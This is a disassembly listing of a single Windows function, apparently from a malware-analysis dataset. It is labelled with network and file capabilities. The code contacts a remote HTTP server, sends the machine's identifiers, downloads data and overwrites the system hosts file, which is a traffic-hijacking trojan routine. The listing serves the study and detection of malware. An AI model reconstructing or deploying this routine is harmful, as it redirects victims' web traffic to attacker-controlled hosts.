Function at 0x402190
Capabilities:
Connect to http server
Create http request
Get common file path
Get file size
Read data from internet
Receive data
Resolve function by parsing pe exports
Send data
Send http request

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0xe3b4
call fcn.00411db0
mov eax, dword [0x422330]
push ebx
push esi
mov ebx, 0xf
xor esi, esi
push edi
mov edi, dword [sym.imp.KERNEL32.DLL_Sleep]
mov dword [esp + 0xe3bc], eax
mov dword [esp + 0x54], ebx
mov dword [esp + 0x50], esi
mov byte [esp + 0x40], 0
lea esp, [esp]
push 0x1388
call edi
add esi, 5
cmp esi, 0x3c
jg 0x40224a
sub esp, 0x1c
mov ecx, esp
push 0xffffffffffffffff
push 0
lea eax, [esp + 0x60]
mov dword [ecx + 0x18], ebx
mov dword [ecx + 0x14], 0
push eax
mov byte [ecx + 4], 0
call fcn.00401f40
lea ecx, [esp + 0x3c]
push ecx
call fcn.00405700
add esp, 0x20
push 0xffffffffffffffff
push 0
push eax
lea ecx, [esp + 0x48]
call fcn.00401f40
cmp dword [esp + 0x38], 0x10
jb 0x40222f
mov edx, dword [esp + 0x24]
push edx
call fcn.00412292
add esp, 4
mov eax, dword [esp + 0x50]
test eax, eax
mov dword [esp + 0x38], ebx
mov dword [esp + 0x34], 0
mov byte [esp + 0x24], 0
je 0x4021d0
jmp 0x40229e
push str._nTimeout__could_not_created_server_possibly_n
call fcn.0040a180
add esp, 4
push 0
push 0x41b5fe
lea ecx, [esp + 0x28]
mov dword [esp + 0x40], ebx
mov dword [esp + 0x3c], 0
mov byte [esp + 0x2c], 0
call fcn.00402030
push 0xffffffffffffffff
push 0
lea eax, [esp + 0x28]
push eax
lea ecx, [esp + 0x48]
call fcn.00401f40
cmp dword [esp + 0x38], 0x10
jb 0x40229e
mov ecx, dword [esp + 0x24]
push ecx
call fcn.00412292
add esp, 4
push str._nServer_was_created_on:__n
call fcn.0040a180
mov eax, dword [esp + 0x58]
add esp, 4
cmp eax, 0x10
mov eax, dword [esp + 0x40]
jae 0x4022bc
lea eax, [esp + 0x40]
push eax
call fcn.0040a180
xor edx, edx
mov dword [esp + 0x5d], edx
mov dword [esp + 0x61], edx
mov dword [esp + 0x65], edx
mov dword [esp + 0x69], edx
mov dword [esp + 0x6d], edx
lea eax, [esp + 0x5c]
mov word [esp + 0x71], dx
push eax
mov byte [esp + 0x60], 0
mov byte [esp + 0x77], dl
call fcn.004095b0
xor ecx, ecx
mov dword [esp + 0x79], ecx
mov dword [esp + 0x7d], ecx
mov dword [esp + 0x81], ecx
mov dword [esp + 0x85], ecx
mov dword [esp + 0x89], ecx
lea edx, [esp + 0x78]
mov word [esp + 0x8d], cx
push edx
mov byte [esp + 0x7c], 0
mov byte [esp + 0x93], cl
call fcn.00409760
push str._nBefore_getting_hostname_n
call fcn.0040a180
xor eax, eax
mov byte [esp + 0x150], 0
mov ecx, ebx
lea edi, [esp + 0x151]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x150]
push eax
call fcn.00403150
push str._nGot_hostname_n
call fcn.0040a180
mov byte [esp + 0x580], 0
xor eax, eax
add esp, 0x18
mov ecx, 0x3ff
lea edi, [esp + 0x569]
rep stosd dword es:[edi], eax
push 0
push 0x25
lea ecx, [esp + 0x570]
stosw word es:[edi], ax
push ecx
push 0
stosb byte es:[edi], al
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea edi, [esp + 0x568]
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x4023a0
mov edx, dword [str.driversetchosts]
mov eax, dword [0x41b5a8]
mov ecx, dword [0x41b5ac]
mov dword [edi], edx
mov edx, dword [0x41b5b0]
mov dword [edi + 4], eax
mov ax, word [0x41b5b4]
mov dword [edi + 8], ecx
mov cl, byte [0x41b5b6]
mov dword [edi + 0xc], edx
mov word [edi + 0x10], ax
mov byte [edi + 0x12], cl
call fcn.0040aa30
test eax, eax
je 0x4023f9
call fcn.00401540
test al, al
je 0x4023f9
mov dword [0x422f08], 1
mov ax, word [0x41b5a0]
mov cl, byte [0x41b5a2]
mov edx, dword [str._u.cuc]
mov word [esp + 0x8c], ax
mov byte [esp + 0x8e], cl
mov dword [esp + 0x88], edx
xor eax, eax
mov ecx, 0x2c
lea edi, [esp + 0x8f]
rep stosd dword es:[edi], eax
lea edx, [esp + 0x88]
stosb byte es:[edi], al
push edx
mov eax, edx
push eax
call fcn.00404140
lea edi, [esp + 0x90]
add esp, 8
dec edi
lea ecx, [ecx]
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x402450
mov ecx, dword [str._cachingDeny]
mov edx, dword [0x41b590]
mov eax, dword [0x41b594]
mov dword [edi], ecx
mov cx, word [0x41b598]
mov dword [edi + 4], edx
mov dword [edi + 8], eax
lea eax, [esp + 0x58]
mov word [edi + 0xc], cx
mov edx, eax
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x402482
lea edi, [esp + 0x88]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x402493
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x88]
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x4024b3
mov edx, dword [str.id]
mov al, byte [0x41b588]
mov dword [edi], edx
mov byte [edi + 4], al
lea eax, [esp + 0x70]
mov edx, eax
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4024d1
lea edi, [esp + 0x88]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x4024e2
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
mov eax, dword [esp + 0x54]
and ecx, 3
cmp eax, 0x10
mov eax, dword [esp + 0x40]
rep movsb byte es:[edi], byte [esi]
jae 0x40250b
lea eax, [esp + 0x40]
mov ecx, dword [0x422f08]
push ecx
push 0x422f0c
push eax
lea edx, [esp + 0x94]
push edx
mov eax, edx
push str._sip_smode_sdll_d
push eax
call fcn.00411af5
add esp, 0x18
push 0
push 0
push 0
push 1
push str.Kvadrlson_1.0
call dword [sym.imp.WININET.dll_InternetOpenA]
mov edi, eax
test edi, edi
mov dword [esp + 0x18], edi
je 0x4027c5
push 1
push 0
push 3
push 0
push 0
push 0x50
lea ecx, [esp + 0x158]
push ecx
push edi
call dword [sym.imp.WININET.dll_InternetConnectA]
mov esi, eax
test esi, esi
mov dword [esp + 0x14], esi
je 0x4027be
push 1
push 0x4000000
push 0
push 0
push str.HTTP_1.0
lea edx, [esp + 0x9c]
push edx
push str.POST
push esi
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
mov ebx, eax
test ebx, ebx
mov dword [esp + 0x10], ebx
je 0x4027b7
push 0
push 0x41b5fe
push 0
push 0
push ebx
call dword [sym.imp.WININET.dll_HttpSendRequestA]
cmp eax, 1
jne 0x4027b0
push 0
push 0x80
push 2
push 0
push 3
push 0xc0000000
lea eax, [esp + 0x580]
push eax
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
push eax
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
lea ecx, [esp + 0x568]
push 0x201
push ecx
call fcn.004135b7
add esp, 8
lea edx, [esp + 0xc]
push edx
mov dword [esp + 0x20], eax
push 0x7fff
lea eax, [esp + 0x63c0]
push eax
push ebx
call dword [sym.imp.WININET.dll_InternetReadFile]
mov ecx, dword [esp + 0xc]
test ecx, ecx
je 0x402697
test eax, eax
je 0x402697
lea eax, [esp + 0x63b8]
mov esi, eax
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x402635
lea edi, [esp + 0x1568]
sub eax, esi
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x402646
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
push 0x41b5fe
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x63bc]
push 0x41b38c
push ecx
call fcn.00411af5
add esp, 0xc
lea edx, [esp + 0xc]
push edx
push 0x7fff
lea eax, [esp + 0x63c0]
push eax
push ebx
call dword [sym.imp.WININET.dll_InternetReadFile]
mov ecx, dword [esp + 0xc]
test ecx, ecx
jne 0x402628
lea eax, [esp + 0x1568]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4026a1
mov edi, dword [esp + 0x1c]
sub eax, edx
push eax
lea ecx, [esp + 0x156c]
push ecx
push edi
call fcn.00413225
push 0x41b5fe
lea edx, [esp + 0x1578]
push 0x41b38c
push edx
mov esi, eax
call fcn.00411af5
push edi
call fcn.00412fbc
add esp, 0x1c
push 0
push 0
push 4
push 0
push 0
push connect
lea eax, [esp + 0x580]
push eax
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov ebx, eax
push 0
push ebx
call dword [sym.imp.KERNEL32.DLL_GetFileSize]
mov edi, eax
lea ecx, [esi + 0x800]
cmp edi, ecx
jge 0x402744
lea edx, [esi - 0x800]
cmp edi, edx
jle 0x402744
test esi, esi
jle 0x402744
push str.hosts
push 0x41b38c
push 0x422f0c
call fcn.00411af5
push str._nHOSTS_UPDATED_CORRECTLY____n
call fcn.0040a180
add esp, 0x10
jmp 0x402779
push str._nHOSTS_NOT_UPDATED_OR_UPDATED_INCORRECTLY_n
call fcn.0040a180
push str.proxy
push 0x41b38c
push 0x422f0c
call fcn.00411af5
sub esp, 0xc
lea eax, [esp + 0x58]
mov ecx, esp
push eax
call fcn.00402120
call fcn.00401ae0
add esp, 0x1c
push edi
push esi
lea ecx, [esp + 0x188]
push str.Hosts_written:__d__Hosts_size:__d_n
push ecx
call fcn.00411af5
lea edx, [esp + 0x190]
push edx
call fcn.0040a180
add esp, 0x14
push ebx
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov ebx, dword [esp + 0x10]
mov esi, dword [esp + 0x14]
mov edi, dword [esp + 0x18]
push ebx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push esi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push edi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
cmp dword [esp + 0x54], 0x10
jb 0x4027d9
mov eax, dword [esp + 0x40]
push eax
call fcn.00412292
add esp, 4
mov ecx, dword [esp + 0xe3bc]
call fcn.004118eb
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret